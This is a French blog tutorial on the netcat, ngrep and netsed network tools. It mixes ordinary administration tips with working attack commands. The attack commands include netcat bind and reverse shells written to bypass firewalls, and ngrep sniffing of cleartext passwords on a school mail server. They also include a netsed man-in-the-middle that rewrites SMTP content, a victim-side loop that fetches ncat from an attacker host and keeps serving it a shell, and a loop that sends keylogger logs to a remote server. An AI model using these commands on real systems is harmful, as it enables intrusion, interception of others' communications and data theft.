Les outils réseaux sont, sur les distributions de type Debian, presque en surnombre tant il y'en a. Cet article aura pour buts de décrire les outils net*, c'est à dire netsed, netgrep et biensûr netcat. Ces outils sont tout aussi indispensable à tout bon administrateur réseau. Ces outils sont bien entendu disponible pour la plus part des systèmes d'exploitation informatique de type Un*x (Fedora, OpenSuse, FreeBSD, ....





0x01. PRESENTATION



NetCAT - nc :
Netcat - cat pour les réseaux - est à la base un client serveur, sur le protocol TCP et UDP. Avec le temps il a évolué et se décline désormais en 3 versions, une version modifiée par la communauté Fedora (ex- Red Hat), la version de la communauté Debian mais aussi la version développée par la communauté Nmap. Les différences sont assez flagrantes, nous les verrons plus tard.


 
# nc.traditional # Commande : nc -h
[v1.10-36]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
 
# nc.redhat      # Commande : nc
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]
        [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]
        [-x proxy_address[:port]] [hostname] [port[s]]
 
# nc.nmap        # Commande : ncat --version
Ncat version 4.85BETA8 ( http://nmap.org/ncat )
 


NetGREP - ngrep :
Netgrep - grep pour les réseaux - est un sniffeur sur les protocoles de la 3ème et 4ème couche du modèle OSI (3: IP, ICMP ; 4: TCP, UDP, GRE, ...). Il permet d'effectuer des opérations dit de "matching de pattern" - en français de correspondance de motifs, de la même manière que grep.

NetSED - netsed :
Netsed - network sed - permet tout comme sed, de modifier une chaine selon un motif. Appliqué dans les couches 3 et 4 du modèle OSI, et donc peut par exemple modifier le contenu d'une page à la volée.





0x02. MANIPULATION


Cette partie de l'article, décrira à travers des mini-scénarii la façon et le pourquoi utiliser les outils précédemment décrits.





0x03. NETCAT


Je veux tchatter avec mon ami, mais je dois le faire à tarvers une connexion SSH, je n'ai donc aucune interface graphique, je n'ai pas les droits suffisants pour installer un logiciel de messagerie, tels finch ou irc. Je vais donc utiliser un outil déjà présent (comme par hasard, netcat). Je suis sur une DMZ, donc je peux être utilisé en serveur...


 
# Pour les distributions issues de la branche Red Hat (Fedora, Centos, ...) 
nc -l 4444
 
# Pour les distributions issues de la branche Debian (Ubuntu, Knopping, ...)
nc -l -p 4444 
nc -lp 4444
 
# Pour la version d'Insecure 
ncat -l 4444
 

...mais je préferais crypter ma communication, je dois utiliser cryptcat


Côté serveur :


cryptcat -k "Mot2P@55" -l -p 65533 

Côté client :


cryptcat -k "Mot2P@55" 127.0.0.1 65533 

Maintenant je souhaite donner la possibilité à mon ami de se connecter sur un shell ( ceci n'est possible que pour NetCat en version Debian/Traditionnel ) :


Côté serveur :


nc -lp 4444 -e /bin/sh  

Côté client :


On se connecte :


nc 127.0.0.1 4444 

On liste les fichier à la racine du poste client, depuis le serveur :


ls / 

Nous avons en sortie :


bin
boot        cdrom       dev        etc
home        initrd      lib        lost+found
media       mnt         opt        pentest
proc        root        sbin       selinux
sys         tmp         usr        var
 

Mais ce qui est 'rigolo' avec netcat (en version traditionnelle et nmap.org), c'est qu'il est possible de faire du connect-back, c'est à dire que c'est le client qui propose le programme à exécuter au serveur, c'est le serveur qui se connecte sur le client. Ce cas peut être utile pour outrepasser des règles de firewall sur le serveur existent, ou pour prendre la main sur son poste, depuis un serveur :


iptables -I INPUT -p tcp --sport 2000:10000 --dport 80 -j ACCEPT 

Côté serveur :


nc -lp 80 

Côté client :


On se connecte :


nc 127.0.0.1 80 -p 4444 -e /bin/sh 

Côté serveur :


On peut obtenir liste les fichier à la racine :


ls / 

Nous avons en sortie :


bin
boot        cdrom       dev        etc
home        initrd      lib        lost+found
media       mnt         opt        proc
root        sbin        sys        tmp
usr         var
 

Rappel rapide du principe de connexions sur un réseau TCP/IP :

CONNECT: connexion classique, oà le client se connecte au serveur
=======
Client                     Serveur
4567     ------ S ------>     4444
4567     <----- SA ------     4444
4567     ------ A ------>     4444

CONNECT BACK: c'est le serveur qui se connect sur le client
============
Client                     Serveur
4567     <----- S -------     4444
4567     ------ SA ----->     4444
4567     <----- A -------     4444 



0x04. NGREP


Maintenant nous voyons qu'un serveur SMTP est disponible sur le réseau de l'école, nous aimerions intercepter les communications mais en plus modifier le contenu des champs. Avec ngrep nous pouvons voire les mots de passe en claire :


ngrep -i "pass" -d eth0 

Un cas bien plus souvent rencontré, la récupération de fichier .flv sur internet - c'est plus par défi, puisqu'ils sont en réalité dans /tmp sous la forme FlashXXXXX. (X étant un caractère aléatoire de a à z, A à Z et de 0 à 9)


ngrep -i "\\.flv" -d eth0 



0x05. NETSED


Soit la ligne de commande suivante :


netsed tcp 192.168.5.12:24 192.168.5.253 25 's/nicolas/usurpateur/1' 

Mais pour que cela soit réellement utile il nous faut rediriger les communications allant vers 192.168.5.253 sur le port 25, sur le port 24. Ainsi, en plus d'avoir à faire une attaque de "l'homme du milieu" (man in the middle) il nous faut faire une redirection de port (port redirect), utilisons pour cela la table de routage PREROUTING (sous Windows il y a des programmes qui font ceci, Google:"port redirect") :


iptables -I PREROUTING -t nat -p tcp --dport 25 -j REDIRECT --to-port 24 

En réalité les connexions se font ainsi :


PORT REDIRECT
=============

192.168.9.129:56789   ------- SYN ------>   192.168.9.1:25
192.168.9.1:25        --- prerouting --->   192.168.9.1:24

192.168.9.129:56789   <---- SYN/ACK -----   192.168.9.1:25

192.168.9.129:56789   ------- ACK ------>   192.168.9.1:25
192.168.9.1:25        --- prerouting --->   192.168.9.1:24

Alors que point de vue des paquets :


interface: vmnet1 (192.168.9.0/255.255.255.0)
#
T 192.168.9.129:38376 -> 192.168.9.1:25 [S]
#
T 192.168.9.1:25 -> 192.168.9.129:38376 [AS]
#
T 192.168.9.129:38376 -> 192.168.9.1:25 [A]
#
T 192.168.9.129:38376 -> 192.168.9.1:25 [AP]
QUIT.

Maintenant si le client et le serveur sont la même adresse IP, on peut visualiser les opérations de transit que fait netsed :


interface: vmnet1 (192.168.9.0/255.255.255.0)
#
T 192.168.9.1:38376 -> 192.168.9.1:25 [S]
#
T 192.168.9.1:25 -> 192.168.9.1:38376 [AS]
#
T 192.168.9.1:38376 -> 192.168.9.1:25 [A]


//--- Ce qui se passe en interne : ---------
#
T 192.168.9.1:39767 -> 192.168.9.1:1025 [AP]
HELO.
#
T 192.168.9.1:1025 -> 192.168.9.1:39767 [A]
//------------------------------------------


#
T 192.168.9.1:38376 -> 192.168.9.1:25 [AP]
QUIT.

En se référant aux cours en réseaux sur le routage des paquets au sein du noyau Linux, entre les tables NAT et les entrées/sorties du noyau, le protocol décrit ci-dessus se dessinerait de la mnière suivante :


    -----------------------------------------------------------

      PREROUTING                                 POSTROUTING
25  >................                         ...................> 25
                  .                         .               
    -----------+  .  +-------------------+  .  +---------------
               |  .  |                   |  .  |
               |     |                   |     |
               |  I  |                   |  O  |
               |  N  |                   |  U  | 
               |  P  |                   |  T  | 
               |  U  |                   |  P  |
               |  T  |                   |  U  |
               |     |                   |  T  |
               |  .  |                   |  .  |
                  V                         A

                  24   >--- netsed --->     25
                    




0x06. ASTUCES


Une très belle astuce vue dans le Linux Magazine Hors Série nÂ?42, consiste à la collecte de requêtes Google. Utile pour surveiller un réseau. Je me suis permis d'en faire une version modifiée :


 
FILE="capture"
LAN="192.168"
ngrep -q -t -W none -I "$FILE" | \\
      grep -v "[?&q]=&" | \\
      sed 's/\\([&?]q=[-a-zA-Z0-9+%\\.\\*()]\\{1,100\\}\\).*/\\1/ ; s/.*[&?]q=/SEARCH:/' | \\
      grep -B 1 -E "$LAN|^SEARCH" | \\
      ./rawurldecode
 
 
# PS1: les | canalisent une commande dans une autre, c'est ce qu'on appelle un "tube"
# PS2: les \\ échappe un saut de ligne pour permettre les commandes multi-lignes
 

Décodons la ligne de commande concernant ngrep :


ngrep -q -t -W none -I "$FILE"

-q : mode silencieux, n'affiche pas les paquets vides (SYN, SYN/ACK ...)
-t : affiche l'heure et la date
-W : n'affiche que les données qui correspondent
-I : lit le fichier de capture

Puis les commandes canalisées :


 
| grep -v "[?&q]=&" \\
# Enlève (-v) les requ&ecirc;tes Google vides (q=&)
 
| sed 's/\\([&?]q=[-a-zA-Z0-9+%\\.\\*()]\\{1,100\\}\\).*/\\1/ ; s/.*[&?]q=/SEARCH:/' \\
# On transforme [quelquechose1]q=[quelquechose2] en
# SEARCH: [quelquechose2]
 
| grep -E -B 1 "^SEARCH|$LAN"
# Affiche une ligne précédant le motif recherché, exemple:
# echo -e "Saut1\\nSaut2\\nMatch" | grep -B 1 "Match"
# affiche:
# Saut2
# Match
 
| /opt/bin/rawurldecode \\
# Décode %74%65%73%74 en test
# il s'agit en fait d'un script PHP
 

Voici la source de rawurldecode :


 
#!/opt/lampp/bin/php
 
<?php
 
while( $line=fgets(STDIN) )
{
      echo str_replace( '+',' ', utf8_decode(rawurldecode($line)) );
}
 
?>
 

La deuxième astuce se fera selon ces étapes :
- Le serveur sera en écoute sur le port 80 et les commandes passeront par ce port
- Le serveur (attaquant) utilisera netcat en écoute sur le port 443 et propose la version de NetCat d'Insecure
- Le client (victime) se connect sur le serveur, sur le port 443, et récupère ncat
- Le client (victime) se connect sur le serveur, sur le port 80, et permet au serveur d'exécuter des commandes arbitraire sur le poste client (victime) :


 
# Terminal 1 - Serveur
ncat -l 80
 
# Terminal 2 - Serveur
# Attention au SHELL utilisé !
ncat -l 443  < $(which ncat)
 
# Terminal 3 - Client/Victime
S="192.168.0.1"
F="$HOME/.nc$RANDOM"
nc $S 443 > "$F"
while [ 1 ] ; do "$F" $S 80 -e $SHELL ; sleep 1 ; done
 

Enfin, la dernière astuce pourrait servir pour un programme de surveillance à distance, par exemple, une fois un keylogger installé, il suffirait alors d'utiliser netcat pour envoyer régulièrement les logs sur un serveur dédié :


 
SERVEUR="192.168.0.1"
while [ 1 ] ; do nc $SERVEUR 80 < "$FICHIER_LOG" ; sleep 1 ; done
 

Il peut être arrangeant de mettre le bit SUID ou SGID à NetCat ou NetGrep (NetSed étant, beaucoup moins utilisé) pour permettre l'écoute sur un port réservé (<1024)





0x07. CONCLUSION


Aussi utile dans l'administration, que dans la sécurité, ce packs d'outils se révèle aussi pratique que dangeruex. Pour résumer, netcat est un client-serveur, ngrep un sniffeur et netsed un proxy. NetCat peut être comme étant un trojan par certain virus (de par ces caractèristiques de client/serveur).




   =>   Écrit par : Nicolas, le 30 mai 2009


 
Mots clés :  
  security 
  
  network 
    >   Articles connexes :

/tmp et /var/log en noexec sur macOS



Durcissement de Windows



GitVuln



HTTP Server, tell me who you are ?


Discuter avec un serveur web *apparement* muet ? Voici comment faire...

7903049